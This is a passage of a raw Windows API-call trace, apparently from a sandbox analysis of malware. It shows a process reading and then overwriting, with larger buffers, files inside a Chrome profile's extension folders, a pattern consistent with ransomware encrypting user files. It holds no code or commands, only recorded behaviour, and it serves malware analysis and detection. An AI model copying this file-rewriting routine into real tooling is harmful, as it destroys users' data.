lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37248*, lpNumberOfBytesRead=0x2b0f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0050.516] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0050.516] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2b0f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0050.516] CloseHandle (hObject=0x198) returned 1 [0050.517] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.517] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.517] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xb3 [0050.517] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.517] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.517] ReleaseMutex (hMutex=0x128) returned 1 [0050.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.517] ReadFile (in: hFile=0x198, lpBuffer=0x1e37248, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37248*, lpNumberOfBytesRead=0x2b0f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0050.518] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0050.518] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2b0f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0050.518] CloseHandle (hObject=0x198) returned 1 [0050.519] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.519] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.519] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xb3 [0050.519] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.519] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.519] ReleaseMutex (hMutex=0x128) returned 1 [0050.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.519] ReadFile (in: hFile=0x198, lpBuffer=0x1e37248, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37248*, lpNumberOfBytesRead=0x2b0f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0050.520] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0050.520] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2b0f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0050.520] CloseHandle (hObject=0x198) returned 1 [0050.521] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.521] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.521] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x5c [0050.521] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.521] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.521] ReleaseMutex (hMutex=0x128) returned 1 [0050.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.html", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.html", cchWideChar=9, lpMultiByteStr=0x1e6312c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main.html", lpUsedDefaultChar=0x0) returned 9 [0050.521] ReadFile (in: hFile=0x198, lpBuffer=0x1ea3f20, nNumberOfBytesToRead=0x5c, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3f20*, lpNumberOfBytesRead=0x2b0f2bc*=0x5c, lpOverlapped=0x0) returned 1 [0050.522] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0050.522] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5e4, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2b0f2d0*=0x5e4, lpOverlapped=0x0) returned 1 [0050.522] CloseHandle (hObject=0x198) returned 1 [0050.523] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.523] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.523] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xd5 [0050.523] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.523] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.523] ReleaseMutex (hMutex=0x128) returned 1 [0050.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.523] ReadFile (in: hFile=0x198, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xd5, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x2b0f2bc*=0xd5, lpOverlapped=0x0) returned 1 [0050.524] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0050.524] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x65d, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2b0f2d0*=0x65d, lpOverlapped=0x0) returned 1 [0050.524] CloseHandle (hObject=0x198) returned 1 [0050.524] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.525] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.525] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xeb [0050.525] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.525] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.525] ReleaseMutex (hMutex=0x128) returned 1 [0050.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.525] ReadFile (in: hFile=0x198, lpBuffer=0x2737b58, nNumberOfBytesToRead=0xeb, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737b58*, lpNumberOfBytesRead=0x2b0f2bc*=0xeb, lpOverlapped=0x0) returned 1 [0050.526] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0050.526] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x673, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x673, lpOverlapped=0x0) returned 1 [0050.527] CloseHandle (hObject=0x198) returned 1 [0050.527] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.527] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.527] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xd1 [0050.527] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.527] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.527] ReleaseMutex (hMutex=0x128) returned 1 [0050.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.527] ReadFile (in: hFile=0x198, lpBuffer=0x2561348, nNumberOfBytesToRead=0xd1, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2561348*, lpNumberOfBytesRead=0x2b0f2bc*=0xd1, lpOverlapped=0x0) returned 1 [0050.528] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0050.528] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x659, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2b0f2d0*=0x659, lpOverlapped=0x0) returned 1 [0050.528] CloseHandle (hObject=0x198) returned 1 [0050.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0051.178] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.178] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xe1 [0051.178] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.178] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.178] ReleaseMutex (hMutex=0x128) returned 1 [0051.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.179] ReadFile (in: hFile=0x168, lpBuffer=0x25c4ea8, nNumberOfBytesToRead=0xe1, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4ea8*, lpNumberOfBytesRead=0x2b0f2bc*=0xe1, lpOverlapped=0x0) returned 1 [0051.179] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0051.179] WriteFile (in: hFile=0x168, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x669, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x669, lpOverlapped=0x0) returned 1 [0051.180] CloseHandle (hObject=0x168) returned 1 [0051.180] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.762] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.762] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x5b6c [0051.762] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.762] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.762] ReleaseMutex (hMutex=0x128) returned 1 [0051.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eventpage_bin_prod.js", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0051.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eventpage_bin_prod.js", cchWideChar=21, lpMultiByteStr=0x1e7894c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventpage_bin_prod.js", lpUsedDefaultChar=0x0) returned 21 [0051.762] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.764] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x4b6c [0051.764] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.765] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x4b6c [0051.765] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.766] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0051.766] WriteFile (in: hFile=0x1ac, lpBuffer=0x261c838*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261c838*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0051.766] CloseHandle (hObject=0x1ac) returned 1 [0051.766] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.766] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.766] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xad [0051.766] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.766] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.767] ReleaseMutex (hMutex=0x128) returned 1 [0051.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.767] ReadFile (in: hFile=0x1ac, lpBuffer=0x1e37188, nNumberOfBytesToRead=0xad, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37188*, lpNumberOfBytesRead=0x2b0f2bc*=0xad, lpOverlapped=0x0) returned 1 [0051.767] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0051.767] WriteFile (in: hFile=0x1ac, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x635, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2b0f2d0*=0x635, lpOverlapped=0x0) returned 1 [0051.768] CloseHandle (hObject=0x1ac) returned 1 [0051.768] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.768] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.768] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: 